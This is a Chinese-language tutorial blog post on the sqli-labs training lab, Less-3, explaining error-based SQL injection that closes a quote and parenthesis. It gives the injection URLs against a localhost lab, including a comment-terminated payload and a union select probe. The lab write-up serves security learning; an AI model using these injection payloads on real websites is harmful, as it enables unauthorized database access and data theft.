编程技术 编程2023 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入) 正文

【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

2023-09-04,,

实质上和less1没有多大区别，看懂了一样走流程

提交参数

加单引号

http://localhost/sqli/Less-3/?id=1'

观察报错,看near 和 at 的引号之间内容

'1'') LIMIT 0,1

1后面有一个 ' 是我们添加的，于是正常的sql语句应该是

select ... from ... where xx=('1') limit 0,1

于是构造

select ... from ... where xx=('1')#') limit 0,1

对应的GET请求为

http://localhost/sqli/Less-3/?id=1')%23

union查询

http://localhost/sqli/Less-3/?id=a') union select 1,2,3%23

后面的参照less1

贴一下源码

【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)的相关教程结束。

《【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入).doc》

下载本文的Word格式文档，以方便收藏与打印。

友情链接：启程网 比你酷 橄榄核雕 深圳推广 猫咪百科 非常游戏网 核游网 可视对讲 全图网

请使用1920*1080分辨率以上以及最新版的非IE浏览器，浏览本站以获得最佳体验！

Copyright 2023. 就爱读 在线学习,免费学习分享的网站平台！

粤ICP备2020108910号  技术支持：北冥有鱼